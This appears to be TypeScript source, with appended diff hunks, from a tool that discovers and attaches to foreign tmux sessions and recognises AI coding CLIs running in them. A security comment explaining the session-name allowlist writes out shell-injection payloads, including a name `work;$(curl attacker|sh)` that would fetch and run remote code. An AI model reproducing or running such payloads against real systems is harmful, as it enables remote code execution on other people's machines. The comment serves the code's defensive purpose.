// leave one behind per socket. `\$Z` is for the trap to expand: it is set before Z
// exists, so a socket that answers at once wins that race.
const watchdog =
`( trap "kill \\$Z 2>/dev/null; exit" TERM; sleep ${FOREIGN_SOCKET_TIMEOUT_SECONDS} >/dev/null 2>&1 & Z=$!; ` +
`wait $Z && { echo "${HUNG_MARKER} $S"; kill $P; exit 7; } ) & W=$!`;
const ping =
`tmux -S "$S" has-session >/dev/null 2>&1 & P=$!; ${watchdog}; ` +
'wait $P; R=$?; kill $W 2>/dev/null; wait $W 2>/dev/null; [ $? -ne 7 ] && [ $R -eq 0 ] || continue';
return [
'TD=${TMUX_TMPDIR:-/tmp}',
'U=$(id -u 2>/dev/null || echo 0)',
`for S in $TD/tmux-$U/*; do [ -S "$S" ] || continue; echo "${SOCKET_MARKER} $S"; ${ping}; ` +
`tmux -u -S "$S" list-panes -a -F "${fmt}" 2>/dev/null; done`,
`echo ${PROC_MARKER}`,
'ps -eo pid=,ppid=,args= 2>/dev/null || ps ax -o pid=,ppid=,args= 2>/dev/null || true',
].join('; ');
}
// ===========================================================================
// Parsing
// ===========================================================================
export interface ForeignProbeOutput {
panes: ForeignPaneProbe[];
/** parent pid to child pids, from the ONE `ps` snapshot (proc-tree input). */
byParent: Map<number, number[]>;
/** pid to full argv line. */
argvByPid: Map<number, string>;
/** Sockets seen, in scan order (may exceed the pane list when a socket is empty). */
sockets: string[];
/** Sockets whose server missed the per-socket bound, so their rows are absent. */
hungSockets: string[];
}
/**
* Parse one probe's stdout. Never throws: a malformed row is skipped, not fatal.
*
* ⚠️ Runs synchronously on the server's event loop over text a process in a pane, a
* container or an ssh host wrote, so nothing here may cost more than linear time in it:
* the row caps do not help when one row is the whole 2 MiB.
*/
export function parseForeignProbeOutput(stdout: string): ForeignProbeOutput {
const panes: ForeignPaneProbe[] = [];
const sockets = new Set<string>();
const hungSockets: string[] = [];
const byParent = new Map<number, number[]>();
const argvByPid = new Map<number, string>();
if (!stdout) return { panes, byParent, argvByPid, sockets: [], hungSockets };
let inProcs = false;
let procCount = 0;
for (const raw of stdout.split('\n')) {
const line = raw.replace(/\r$/, '');
if (!line) continue;
if (!inProcs && line === PROC_MARKER) {
inProcs = true;
continue;
}
if (inProcs) {
if (procCount >= FOREIGN_MAX_PROCS) continue;
// `<pid> <ppid> <argv...>`: leading spaces are how `ps -o pid=` pads.
// ⚠️ `s`, so `.*$` cannot fail: without it a bare CR in an argv stopped the `.`, and
// `\s+` handed its spaces back one at a time, quadratic in a row this long.
const m = /^\s*(\d+)\s+(\d+)\s+(.*)$/s.exec(line);
if (!m) continue;
const pid = Number(m[1]);
const ppid = Number(m[2]);
if (!Number.isSafeInteger(pid) || !Number.isSafeInteger(ppid)) continue;
procCount += 1;
argvByPid.set(pid, (m[3] ?? '').slice(0, FOREIGN_MAX_ARGV_CHARS));
const siblings = byParent.get(ppid);
if (siblings) siblings.push(pid);
else byParent.set(ppid, [pid]);
continue;
}
if (line.startsWith(`${SOCKET_MARKER} `)) {
const sock = line.slice(SOCKET_MARKER.length + 1);
if (sock) sockets.add(sock);
continue;
}
if (line.startsWith(`${HUNG_MARKER} `)) {
hungSockets.push(line.slice(HUNG_MARKER.length + 1));
continue;
}
const fields = line.split(SEP_SPLIT);
if (fields[0] !== PANE_MARKER) continue;
if (panes.length >= FOREIGN_MAX_PANES) continue;
// 11 fields: marker + 8 fixed + name + path. A separator inside the NAME
// pushes extras into the middle, so the path is taken from the END and the
// name is whatever sits between the fixed prefix and it.
if (fields.length < 11) continue;
const panePid = Number(fields[2]);
const windowIndex = Number(fields[3]);
const windows = Number(fields[4]);
const created = Number(fields[5]);
if (!Number.isSafeInteger(panePid) || panePid <= 0) continue;
const paneCurrentPath = fields[fields.length - 1] ?? '';
const sessionName = fields.slice(9, fields.length - 1).join(REJOIN);
if (!sessionName) continue;
panes.push({
socketPath: fields[1] ?? '',
sessionName,
windowIndex: Number.isSafeInteger(windowIndex) ? windowIndex : 0,
paneId: fields[7] ?? '',
panePid,
paneCurrentCommand: (fields[8] ?? '').slice(0, FOREIGN_MAX_ARGV_CHARS),
paneCurrentPath,
sessionAttached: fields[6] === '1',
sessionCreated: Number.isSafeInteger(created) && created > 0 ? created : 0,
windows: Number.isSafeInteger(windows) && windows > 0 ? windows : 1,
});
}
return { panes, byParent, argvByPid, sockets: [...sockets], hungSockets };
}
// ===========================================================================
// Classification
// ===========================================================================
/**
* argv signatures, derived from the registry rather than written here.
*
* Matched against the WHOLE argv of a pane descendant, so `node .../bin/claude`
* hits the claude rule via the path. The binary names come from each entry's
* `discovery.binaries`, the one place that already knows a mode name is NOT
* always a binary name (`antigravity` runs `agy`). The hand-written table this
* replaces keyed on CLI ids, which CLAUDE.md forbids outside `stock.ts`, and it
* had already fallen behind: `omp` was missing, so a hand-started omp pane read
* as a plain shell.
*
* Resolved at CALL time, never into a module-level const: a CLI enabled (or a
* custom entry added) at runtime must be recognised without a restart.
*
* ⚠️ Longest name first. `pi` is two characters and its "command itself" form
* would otherwise be tried before `opencode`'s; length order is what keeps a
* short generic name from claiming a pane that belongs to a longer one.
*
* ⚠️ Names are regex-ESCAPED. They reach here from `~/.codeman/clis.json`, and
* while the schema's SHELL_TOKEN already refuses the dangerous shapes, building
* a pattern out of an unescaped foreign string is how a config value turns into
* a regex. Escaping means the worst a bad name can do is match nothing.
*
* ⚠️ Keep these free of unbounded tails, since each one runs over someone else's argv on
* the event loop. The node launcher shape needs one, so it lives in `launcherPrefixes()`
* and `launcherDir` only has to name the directory.
*/
export function foreignCliSignatures(): ReadonlyArray<{ mode: SessionMode; test: RegExp; launcherDir: RegExp }> {
const seen = new Set<string>();
const out: { mode: SessionMode; test: RegExp; launcherDir: RegExp }[] = [];
// `listClis()`, not `enabledClis()`: classification is a description of what is
// ALREADY running in someone else's pane, not a decision to launch anything.
// A disabled CLI still deserves its real name on the row.
const named: { mode: SessionMode; name: string }[] = [];
for (const entry of listClis()) {
// ⚠️ Stock entries only, and this is a `stock` check rather than an id check
// on purpose: `SessionMode` is the CLOSED union of the stock ids, so a custom
// entry has no SessionMode to be. Letting one through would put a value the
// union does not contain on `SessionState.mode`. A custom CLI's pane falls to
// the `shell` answer below, which is the honest one: Codeman has no name for
// it, and an adopted wrapper runs `attach` either way.
if (!entry.stock) continue;
for (const binary of entry.discovery.binaries) {
// `shell` declares none, which is right: it is the FALLBACK answer, never a
// signature match.
if (!binary || seen.has(binary)) continue;
seen.add(binary);
named.push({ mode: entry.id as SessionMode, name: binary });
}
}
named.sort((a, b) => b.name.length - a.name.length);
for (const { mode, name } of named) {
const n = escapeRegExp(name);
out.push({
mode,
// the command itself · a `bin/` path
test: new RegExp(`(^|[/\\\\])${n}(\\s|$)|[/\\\\]bin[/\\\\]${n}\\b`),
// a node launcher under the CLI's own dot-directory (`~/.claude/local/.../cli.js`)
launcherDir: new RegExp(`[/\\\\]\\.?${n}[/\\\\]`),
});
}
return out;
}
function escapeRegExp(value: string): string {
return value.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}
/** Commands that mean "this is a plain shell", not an unidentified agent. */
const SHELL_COMMANDS = new Set([
'bash',
'sh',
'zsh',
'fish',
'dash',
'ksh',
'tcsh',
'csh',
'ash',
'busybox',
'login',
'-bash',
'-zsh',
'-sh',
]);
export interface ClassifiedPane {
mode: SessionMode;
/** The argv line the decision came from, truncated for display. */
command: string;
}
const COMMAND_DISPLAY_MAX = 160;
/**
* Decide what a pane is running.
*
* Order matters: the pane's own command is checked against the CLI signatures
* first (a pane running `claude` directly is unambiguous and needs no walk), then
* the bounded descendant walk, and only then the shell fallback. The walk is what
* separates claude from codex, since tmux reports `node` for both.
*/
export function classifyForeignPaneMode(
pane: Pick<ForeignPaneProbe, 'panePid' | 'paneCurrentCommand'>,
probe: Pick<ForeignProbeOutput, 'byParent' | 'argvByPid'>,
match: ForeignSignatureMatcher = createForeignSignatureMatcher()
): ClassifiedPane {
const own = probe.argvByPid.get(pane.panePid) ?? pane.paneCurrentCommand;
const direct = match(own);
if (direct) return { mode: direct, command: truncate(own) };
// ⚠️ Report truncation. A walk that stopped at a cap returns "nothing matched",
// which is byte-identical to the answer for a real shell: without this line a
// deep or wide tree silently downgrades an agent pane to `shell` and there is
// nothing anywhere to tell the two apart.
const descendants = collectDescendants(pane.panePid, probe.byParent, {
onTruncated: (root, cap, reason) =>
console.warn(`[foreign-tmux] descendant walk for ${root} hit the ${cap}-${reason} cap; truncating`),
});
for (const pid of descendants) {
const argv = probe.argvByPid.get(pid);
if (!argv) continue;
const hit = match(argv);
if (hit) return { mode: hit, command: truncate(argv) };
}
// tmux's own answer is the last signal worth trying: `#{pane_current_command}`
// is the pane's FOREGROUND process, whereas `pane_pid` is the shell hosting it,
// so this catches an agent whose process tree was unreadable (no `ps` on the
// host) or deeper than the walk's cap.
const fromTmux = match(pane.paneCurrentCommand);
if (fromTmux) return { mode: fromTmux, command: truncate(pane.paneCurrentCommand) };
// Nothing recognised. `shell` is the honest answer AND the primary case this
// feature exists for; the raw command travels alongside so the UI can show what
// is actually running rather than asserting a mode it did not verify.
return { mode: 'shell', command: truncate(own || pane.paneCurrentCommand) };
}
export type ForeignSignatureMatcher = (argv: string) => SessionMode | null;
/**
* One scan's answer to "which CLI is this argv?".
*
* ⚠️ Scoped to a scan, because this is the cost no row cap bounds. A pane's walk reads up
* to PROC_WALK_MAX_NODES rows and every pane of a hostile host can claim the same tree, so
* the walks repeat one set of rows FOREIGN_MAX_PANES times. Building the regexes once and
* asking about each distinct argv once ties the work to the bytes the probe really carried.
*/
export function createForeignSignatureMatcher(): ForeignSignatureMatcher {
const signatures = foreignCliSignatures();
const answers = new Map<string, SessionMode | null>();
return (argv) => {
let answer = answers.get(argv);
if (answer === undefined) {
answer = matchSignature(argv, signatures);
answers.set(argv, answer);
}
return answer;
};
}
function matchSignature(argv: string, signatures: ReturnType<typeof foreignCliSignatures>): SessionMode | null {
if (!argv) return null;
const base = basenameOf(argv);
if (SHELL_COMMANDS.has(base)) return null;
const launchers = launcherPrefixes(argv);
for (const sig of signatures) {
if (sig.test.test(argv) || launchers.some((prefix) => sig.launcherDir.test(prefix))) return sig.mode;
}
return null;
}
/**
* What comes before the last `cli.js` of each word, which is where a CLI's own directory
* has to be for that word to be its node launcher.
*
* ⚠️ A scan rather than a `[^\s]*cli\.js` tail on the signature. That tail was retried from
* every `/pi/` in an argv, which is quadratic in someone else's text: 4.6 s of event loop
* for a 128 KiB argv. A bounded tail only shrinks the constant, and a scan pays it per row.
*/
function launcherPrefixes(argv: string): string[] {
const prefixes: string[] = [];
for (const word of argv.split(/\s+/)) {
const end = word.lastIndexOf('cli.js');
if (end > 0) prefixes.push(word.slice(0, end));
}
return prefixes;
}
function basenameOf(argv: string): string {
const first = argv.trim().split(/\s+/)[0] ?? '';
const slash = first.lastIndexOf('/');
return slash >= 0 ? first.slice(slash + 1) : first;
}
function truncate(s: string): string {
const flat = s.replace(/\s+/g, ' ').trim();
return flat.length > COMMAND_DISPLAY_MAX ? `${flat.slice(0, COMMAND_DISPLAY_MAX - 1)}...` : flat;
}
// ===========================================================================
// Exclusion: never adopt what Codeman already owns
// ===========================================================================
/** tmux servers Codeman runs itself. Sessions on these are never "foreign". */
const CODEMAN_SOCKET_BASENAMES = new Set(['codeman', 'codeman-remote', 'codeman-docker']);
/** Session names Codeman mints. */
const CODEMAN_SESSION_PREFIXES = ['codeman-', 'claudeman-'];
/**
* Is this pane one of Codeman's own, at any location?
*
* Excluding them is not cosmetic. Locally it stops Codeman from adopting its own
* sessions (which would attach a second PTY to a live pane). On a remote host or
* inside a container it stops the SAME session from being reachable through two
* different code paths: `remote-hosts.listRemoteCodemanSessions` already owns
* the `tmux -L codeman` case there, and two paths to one session is how the two
* end up disagreeing about ownership.
*
* @param ownSocket this instance's own socket name (`resolveTmuxSocketName()`),
* which is instance-scoped and therefore not a constant.
*/
export function isCodemanOwnedPane(
pane: Pick<ForeignPaneProbe, 'socketPath' | 'sessionName'>,
ownSocket: string
): boolean {
const socketName = basenameOf(pane.socketPath);
if (socketName === ownSocket) return true;
if (CODEMAN_SOCKET_BASENAMES.has(socketName)) return true;
// A `codeman-<instance>` socket belongs to another Codeman instance even when
// THIS instance runs on a different one.
if (socketName.startsWith('codeman-')) return true;
return CODEMAN_SESSION_PREFIXES.some((p) => pane.sessionName.startsWith(p));
}
// ===========================================================================
// Adoptability: what may cross the launch chain at all
// ===========================================================================
/**
* Characters a foreign session name or socket path may contain to be adoptable.
*
* ⚠️ This is a SECURITY GATE, not tidiness, and it is an ALLOWLIST because the
* blocklist version of it is one forgotten character away from a shell.
*
* A foreign session name is chosen by SOMEONE ELSE, and it would cross several
* shells on the way to tmux: the local `sh` and `bash -c` at `respawn-pane`, then
* `sh -lc` in a container, or the login shell and `sh -c` over ssh. The launch reaches
* `bash -c` single-quoted now (`bashCArg()`), which closes the first of those, and the
* gate stays as defense in depth for the rest. It was written against the double-quoted
* form, `execSync(`… bash -c ${JSON.stringify(launchCmd)}`)`, and that is the shape of
* the mistake it stops. `JSON.stringify` escapes `"` and `\` (it does NOT escape `$` or
* a backtick) and the outer shell parses that string with those still live inside its
* double quotes. The inner single quotes this module adds do not help: the outer shell
* substitutes first. Measured directly:
*
* launchCmd = `: 'x$(touch /tmp/PWNED2)`touch /tmp/PWNED3`'`
* execSync(`bash -c ${JSON.stringify(launchCmd)}`) -> BOTH files created
*
* So a session called `work;$(curl attacker|sh)` sitting on the default socket
* would run as the Codeman server account the moment someone clicked Open. The
* name never reaches a command at all now: a candidate that fails this test is
* dropped during discovery, so it has no id, and the adopt endpoint re-resolves
* through that same discovery and can only 404.
*
* Generous on purpose about what real names contain (Unicode letters, digits,
* marks, spaces, and the punctuation people actually use), because a refusal
* here is a session the user cannot open at all.
*/
const ADOPTABLE_TEXT = /^[\p{L}\p{N}\p{M} _.+=@#%,~^!/-]+$/u;
/**
* Names `new-session -t` reads as target syntax instead of as a name.
*
* ⚠️ The guard's `has-session -t '=<name>'` looks up by name, the join does not, so
* these pass the guard and then join something else. Measured on tmux 3.4: `@1` and
* `%1` joined the session holding that window or pane, and input typed in the tab
* reached it; `=eq`, `@zz`, `%zz`, `~` and a bare `=` made a new group with a fresh
* shell on the foreign server. `~foo` and `! + - ^` joined their own windows, so a
* plain first-character rule would refuse them for nothing.
*/
const TMUX_TARGET_SYNTAX = /^[=@%]|^~$/;
/** Same rule, plus the path separator and no `..` climbing. */
export function isAdoptableSocketPath(socketPath: string): boolean {
if (!socketPath || socketPath.length > 4096) return false;
if (!socketPath.startsWith('/')) return false;
if (socketPath.includes('..')) return false;
return ADOPTABLE_TEXT.test(socketPath);
}
/** True when this session name can cross the launch chain safely. */
export function isAdoptableSessionName(sessionName: string): boolean {
if (!sessionName || sessionName.length > 256) return false;
if (TMUX_TARGET_SYNTAX.test(sessionName)) return false;
return ADOPTABLE_TEXT.test(sessionName);
}
// ===========================================================================
// Identity
// ===========================================================================
/**
* Stable, opaque id for a candidate. The browser sends this back to adopt, so it
* must survive a re-scan (same session gets the same id) without the browser ever
* handing us a socket path or session name to interpolate into a command.
*/
export function foreignSessionId(
location: ForeignTmuxLocationKind,
hostKey: string,
socketPath: string,
sessionName: string
): string {
return `f${fnv1a(`${location} ${hostKey} ${socketPath} ${sessionName}`)}`;
}
/**
* What names one foreign tmux session across every location Codeman can reach.
* A socket path and a session name are not enough on their own: a socket path is
* only meaningful INSIDE its location. Containers commonly run tmux as root
* (`/tmp/tmux-0/default`) with default names `0`, `1`, so session `0` in two
* containers is the same pair, and so is the same name on this machine and on an
* ssh host with the same uid.
*
* A `ForeignTmuxSession` candidate is one of these as it stands. A wrapper's
* `SessionAdopt` is turned into one by `adoptTargetIdentity()`.
*/
export interface ForeignTargetIdentity {
location: ForeignTmuxLocationKind;
/** Registry id of the docker or remote host. Absent for local. */
hostId?: string;
/** The container (`location === 'docker'`), which is only unique per engine, hence beside `hostId`. */
containerName?: string;
socketPath: string;
sessionName: string;
}
/**
* The ONE key that decides "is this foreign session already wrapped?". The adopt
* route's one-wrapper-per-target check and the listing's `adoptedBy` both read it;
* two keys are how a row ends up offering a tab that belongs to another location.
*
* Unlike `foreignSessionId` this is not opaque, and it stays on the server: the
* opaque id encodes a discovery detail a restored wrapper does not carry, while
* everything here is on `SessionAdopt` too.
*/
export function foreignTargetKey(target: ForeignTargetIdentity): string {
// \u0000 as an ESCAPE: see the note in candidatesFrom() about NUL bytes in source.
return [target.location, target.hostId ?? '', target.containerName ?? '', target.socketPath, target.sessionName].join(
'\u0000'
);
}
/** A wrapper's adoption record, as the identity of the foreign session it wraps. */
export function adoptTargetIdentity(adopt: SessionAdopt): ForeignTargetIdentity {
return {
location: adopt.location,
hostId: adopt.docker?.hostId ?? adopt.remote?.hostId,
containerName: adopt.docker?.containerName,
socketPath: adopt.socketPath,
sessionName: adopt.targetSession,
};
}
function fnv1a(input: string): string {
let h = 0x811c9dc5;
for (let i = 0; i < input.length; i += 1) {
h ^= input.charCodeAt(i);
h = Math.imul(h, 0x01000193) >>> 0;
}
return h.toString(16).padStart(8, '0');
}
/**
* Our grouped view session's name on the FOREIGN server. Deliberately prefixed
* `codeman-view-` so a human looking at their own `tmux ls` can see what joined
* them, and so a second Codeman's discovery excludes it (the `codeman-` prefix
* rule above).
*/
export function foreignViewSessionName(sessionId: string): string {
return `codeman-view-${sessionId.slice(0, 8)}`;
}
// ===========================================================================
// Attach command builders
// ===========================================================================
/** Single-quote for POSIX sh. Local copy so this module stays dependency-free. */
export function fshq(str: string): string {
return `'${String(str).replace(/'/g, `'\\''`)}'`;
}
export interface ForeignAttachTarget {
socketPath: string;
targetSession: string;
viewSession: string;
}
/**
* The tmux invocation that joins a foreign session, as ONE line of POSIX sh.
*
* Shape and why:
* command -v tmux || { echo no tmux; exit 127; } ;
* tmux -S <sock> has-session -t '=<target>' || { echo gone; exit 1; } ;
* tmux -S <sock> kill-session -t '=<view>' 2>/dev/null ;
* exec tmux -u -S <sock> new-session -t <target> -s <view> ; set destroy-unattached on ; set status off
*
* - ⚠️ `command -v` first because the guard below fires on ANY failure, and "tmux is
* not on this PATH" (exit 127, hidden by the `2>/dev/null`) must not be told to the
* user as "your session is gone" while it is running.
* - `-u` on the client: in a POSIX locale it otherwise writes the tab as if the
* terminal were ASCII (measured: `_ hello qqq ____` for `❯ hello ─── 你好`). Only
* the join needs it, since the guard prints nothing and tmux compares a target
* name as bytes in any locale.
* - ⚠️ The `has-session` guard comes FIRST because `new-session -t` does not fail
* on a missing target, it invents one. Measured on tmux 3.4: with `work` gone it
* joined `work-prod`, with nothing matching it created a fresh shell, and on a
* socket with no server it STARTED one. This line re-runs every time the wrapper
* pane is respawned, and boot recovery does that for every dead pane, so once the
* owner exits their session the next Codeman restart would leave a new shell on
* their machine, in their container or on their ssh host. `=` is what makes the
* check exact (no prefix match), and `2>/dev/null` keeps tmux's own "no server"
* noise out of the pane: the message we print says it better. The check only holds
* for a name `new-session -t` also reads as a name, which is what
* `isAdoptableSessionName` keeps true (see `TMUX_TARGET_SYNTAX`).
* - ⚠️ The `=` prefix cannot stand in for that check on `new-session -t`: with the
* target gone tmux takes it as part of the name and creates a group literally
* called `=work`. It has to be a separate `has-session`.
* - `new-session -t` creates a session in the target's GROUP: same windows, our
* own session options and current window (NOT our own size, see @fileoverview
* for the measurement that disproved that).
* - `status off` is why grouping earns its keep: it lands on OUR session, so the
* owner's status bar is untouched.
* - No `-d`: the session must be attached before `destroy-unattached` lands on it.
* - The escaped semicolons reach tmux as plain command separators after one shell
* parse, the same convention the docker launch chain uses.
* - ⚠️ There is NO degraded fallback, on purpose. A read-only `attach-session -r`
* used to hang off `||` "for a tmux too old to group", but `||` fires on ANY
* `new-session` failure. The one that actually happens is a leftover view with
* the same name (the in-container leak described above): measured, `new-session`
* answers `duplicate session: codeman-view-…` and the fallback then handed the
* user a read-only client showing the owner's status bar, where everything typed
* is dropped while the API reports success. That is the worst shape a failure can
* take here. So: clear OUR OWN stale view first, then either group successfully
* or exit with a message.
* - The `kill-session` is safe by construction and cannot touch the human's work:
* the name is `codeman-view-<our own session id>`, `=` makes the match exact, and
* killing a session in a group removes only that session (measured: the owner's
* `work` survived its grouped view being killed). `2>/dev/null` because "no such
* session" is the normal case, not an error.
* - ⚠️ Nothing here touches the prefix table, unlike the nested servers Codeman runs
* itself (`nestedPrefixTableResetCommands`). Our own socket already has its table
* reduced by `createSession`, but key tables are SERVER-WIDE, so reducing the foreign
* one would rewrite the owner's keys for every session on their server, and it would
* outlive our detach. Same reason `window-size` is left alone above. The owner's
* bindings stay reachable from a tab, behind our own `send-prefix`, as theirs to use.
* - ⚠️ While the view exists the window has two sessions holding it, so an owner's
* `kill-session` on their own session leaves the window alive under the view
* (measured on tmux 3.4: `tmux ls` then shows only `codeman-view-…`, the shell keeps
* running) until the tab closes and `destroy-unattached` lets go of it. Exiting the
* shell inside the pane ends it at once, view and all. Nothing here can tell the two
* apart without a hook on the owner's server, which is not ours to install.
* - Single line: nothing here needs a second one. A real newline would survive
* `bash -c` now (`bashCArg()`), though not the JSON escaping this line crossed before.
*/
export function buildForeignTmuxInvocation(target: ForeignAttachTarget): string {
const sock = fshq(target.socketPath);
const t = fshq(target.targetSession);
// `=name` is tmux's exact-match form. Only for the two commands that LOOK UP a
// session; never for `new-session -t`, which would name the group `=name`.
const exact = fshq(`=${target.targetSession}`);
const v = fshq(target.viewSession);
const gone = fshq(
`Codeman: session ${target.targetSession} is gone. Codeman never creates a session it does not own.`
);
const noTmux = fshq('Codeman: tmux was not found here, so the session could not be opened. It may still be running.');
const tmuxCheck = `command -v tmux >/dev/null 2>&1 || { echo ${noTmux}; exit 127; }`;
const guard = `tmux -S ${sock} has-session -t ${exact} 2>/dev/null || { echo ${gone}; exit 1; }`;
// Our own leftover view from a previous adoption of the same Codeman session.
const dropStaleView = `tmux -S ${sock} kill-session -t ${fshq(`=${target.viewSession}`)} 2>/dev/null || true`;
const group =
`exec tmux -u -S ${sock} new-session -t ${t} -s ${v} \\; ` +
`set-option -t ${v} destroy-unattached on \\; ` +
`set-option -t ${v} status off`;
return `${tmuxCheck} ; ${guard} ; ${dropStaleView} ; ${group}`;
}
/** Local adoption: run the invocation directly in the wrapper pane. */
export function buildForeignAttachCommand(target: ForeignAttachTarget): string {
return buildForeignTmuxInvocation(target);
}
export interface ForeignDockerAttachOptions extends ForeignAttachTarget {
/** `buildDockerBaseArgs(...)` joined, e.g. `docker` or `docker --context foo`. */
dockerBase: string;
containerName: string;
}
/**
* Docker adoption: `docker exec -it` into the container and attach there.
*
* Mirrors the ADOPTED-container branch of `buildDockerLaunchCommand`: look, then
* exec. Never `create`, never `start`: the container belongs to the user, and a
* missing or stopped one fails closed with a message instead of being mutated.
*/
export function buildForeignDockerAttachCommand(opts: ForeignDockerAttachOptions): string {
const name = fshq(opts.containerName);
const notFound = fshq(
`Codeman: container ${opts.containerName} not found. Codeman never creates a container it does not own.`
);
const notRunning = fshq(
`Codeman: container ${opts.containerName} is not running. Codeman never starts a container it does not own.`
);
const inspect = `${opts.dockerBase} inspect ${name} >/dev/null 2>&1 || { echo ${notFound}; exit 1; }`;
const running =
`${opts.dockerBase} inspect -f ${fshq('{{.State.Running}}')} ${name} 2>/dev/null | grep -qx true ` +
`|| { echo ${notRunning}; exit 1; }`;
// The same terminal `resolveDockerLaunchOptions` gives an owned container's exec:
// `docker exec -it` defaults to TERM=xterm, which holds the tab to 8 colours.
const terminal = '-e TERM=xterm-256color -e COLORTERM=truecolor';
const exec = `exec ${opts.dockerBase} exec -it ${terminal} ${name} sh -lc ${fshq(buildForeignTmuxInvocation(opts))}`;
return [inspect, running, exec].join(' ; ');
}
/**
* Tear down OUR grouped view session inside a container.
*
* ⚠️ Needed for docker and NOT for the other two, which is a docker fact rather
* than a design choice. Killing the wrapper pane kills a LOCAL tmux client
* directly, and over ssh it sends SIGHUP to the remote client (the same
* propagation the non-owned remote attach has relied on since COD-105), either
* way the client detaches and `destroy-unattached on` collects the view.
* A `docker exec` process does NOT die when its client goes away: measured, the
* in-container tmux client stayed attached after the wrapper was killed, so the
* view session survived forever and every adoption leaked one of them plus its
* exec process.
*
* Killing a session by name affects ONLY that session, never the group's other
* members, so this can only ever remove the view Codeman created, never the
* human's session it is grouped with. Sibling of `buildDockerKillCommand`, and
* fired best-effort on the same path.
*/
export function buildForeignDockerViewKillCommand(opts: {
dockerBase: string;
containerName: string;
socketPath: string;
viewSession: string;
}): string {
return (
`${opts.dockerBase} exec ${fshq(opts.containerName)} ` +
`tmux -S ${fshq(opts.socketPath)} kill-session -t ${fshq(`=${opts.viewSession}`)}`
);
}
/**
* A POSIX script as the command line of an ssh connection.
*
* ssh hands its command to the remote user's LOGIN shell, which may be fish: the
* guard chain's `{ ...; }` and the probe's `${VAR:-x}` are POSIX, so they run in an
* explicit `sh`. The PATH line stays outside it because it is the part written for
* whatever that shell is (`withRemoteTmuxPath`), and sshd's non-interactive PATH can
* miss a Homebrew or per-user tmux, the same reason every other remote tmux call has
* it. Single-quote-free input stays single-quote-free here, and `exec` keeps the
* process tree one level shorter.
*/
export function foreignRemoteShellCommand(script: string): string {
return withRemoteTmuxPath(`exec sh -c ${fshq(script)}`);
}
export interface ForeignRemoteAttachOptions extends ForeignAttachTarget {
/** `buildSshConnectionArgs(host)`: `['ssh', '-o BatchMode=yes', ...]`. */
sshArgs: string[];
/** `remoteSshTarget(host)`: `user@host`. */
sshTarget: string;
}
/**
* Remote adoption: ssh in and attach there.
*
* `-t` goes right after `ssh -o BatchMode=yes`, exactly where
* `buildRemoteAttachCommand` puts it: interactive tmux needs a PTY. Connection
* options come from the shared `buildSshConnectionArgs`, never hand-built here,
* so adoption reaches a proxied/custom-port host on the same terms discovery did.
*/
export function buildForeignRemoteAttachCommand(opts: ForeignRemoteAttachOptions): string {
const [ssh, batchMode, ...rest] = opts.sshArgs;
return [
ssh,
batchMode,
'-t',
...rest,
opts.sshTarget,
fshq(foreignRemoteShellCommand(buildForeignTmuxInvocation(opts))),
]
.filter(Boolean)
.join(' ');
}
+20 -1
View File
@@ -54,6 +54,7 @@ import { lstat, readdir, rename, rm } from 'node:fs/promises';
import { basename, dirname, join } from 'node:path';
import { EXEC_TIMEOUT_MS } from './config/exec-timeout.js';
import { probePathKind } from './utils/bounded-path-probe.js';
import { gitMissingError, gitSpawnAllowed } from './utils/git-availability.js';
// ─── Tunables ────────────────────────────────────────────────────────────────
@@ -728,6 +729,17 @@ interface GitRun {
* signal is used rather than `child.kill()`.
*/
async function runGit(args: string[], timeoutMs: number, maxStdoutBytes: number): Promise<GitRun> {
// Never Apple's placeholder git on a Mac without developer tools: answered as a missing git.
if (!gitSpawnAllowed()) {
return {
stdout: '',
stderr: '',
code: null,
timedOut: false,
started: false,
spawnError: String(gitMissingError()),
};
}
// The queue wait spends the SAME deadline as the operation: `timeoutMs` is a
// promise about the whole call, not about git's runtime after some unbounded
// wait. A full queue is refused outright rather than queued.
@@ -814,10 +826,17 @@ async function runGit(args: string[], timeoutMs: number, maxStdoutBytes: number)
}
}
/** Is a usable `git` on this machine? Memoized: the answer cannot change without a restart. */
/**
* Is a usable `git` on this machine? Memoized: the answer cannot change without a restart. The one
* exception is a Mac whose only git is Apple's placeholder with no developer tools behind it: running
* that, even as `git --version`, opens macOS's "install the developer tools" window, so it is never
* run, and that refusal is not memoized here (the gate keeps its own short memory), so the page finds
* git once the tools are installed.
*/
let gitAvailable: boolean | null = null;
export function isGitAvailable(): boolean {
if (gitAvailable !== null) return gitAvailable;
if (!gitSpawnAllowed()) return false;
try {
execFileSync('git', ['--version'], {
encoding: 'utf-8',
+3 -1
View File
@@ -79,6 +79,8 @@ export interface GitFetchSessionView {
/** `unknown`, not `boolean`: a session's remote/Docker markers are objects, and the only question here is whether either is set at all. */
remote?: unknown;
docker?: unknown;
/** Set on a wrapper around a foreign tmux session: its `workingDir` is a neutral folder, never a repository. */
adopt?: unknown;
gitFetchEnabled?: boolean;
gitFetchIntervalSeconds?: number;
}
@@ -176,7 +178,7 @@ export class GitFetchScheduler {
const groups = new Map<string, GroupMember[]>();
for (const id of this.ports.sessionIds()) {
const view = this.ports.getSession(id);
if (!view || view.remote || view.docker) continue;
if (!view || view.remote || view.docker || view.adopt) continue;
const effective = effectiveGitFetch(view, settings);
if (!effective.enabled) continue;
const folder = resolve(view.workingDir);
+5 -1
View File
@@ -65,6 +65,7 @@ import {
resolveWorkspaceRepos,
type GitRunner,
} from './git-workspace-status.js';
import { gitMissingError, gitSpawnAllowed } from './utils/git-availability.js';
const execFileAsync = promisify(execFile);
@@ -205,6 +206,7 @@ export function fetchEnvFor(base: NodeJS.ProcessEnv, repoSshCommand: string | nu
* add a fifth git process or push a fetch past the user's timeout: it spends part of it.
*/
export async function readRepoSshCommand(cwd: string, timeoutMs: number): Promise<string | null> {
if (!gitSpawnAllowed()) return null;
try {
const { stdout } = await execFileAsync('git', ['config', '--get', 'core.sshCommand'], {
cwd,
@@ -240,6 +242,8 @@ export async function readRepoSshCommand(cwd: string, timeoutMs: number): Promis
* as a timeout without starting the fetch.
*/
export const runFetch: GitRunner = async (cwd, args, opts) => {
// Never Apple's placeholder git on a Mac without developer tools: answered as GIT_MISSING.
if (!gitSpawnAllowed()) throw gitMissingError();
const timeoutMs = opts?.timeoutMs ?? DEFAULT_GIT_TIMEOUT_MS;
const startedAt = Date.now();
const env = fetchEnvFor(process.env, await readRepoSshCommand(cwd, timeoutMs));
@@ -346,7 +350,7 @@ export interface GitFetchEntry {
export interface GitFetchReport {
/** `ok` when at least one repository was fetched (or attempted); the other states are as in the overview. */
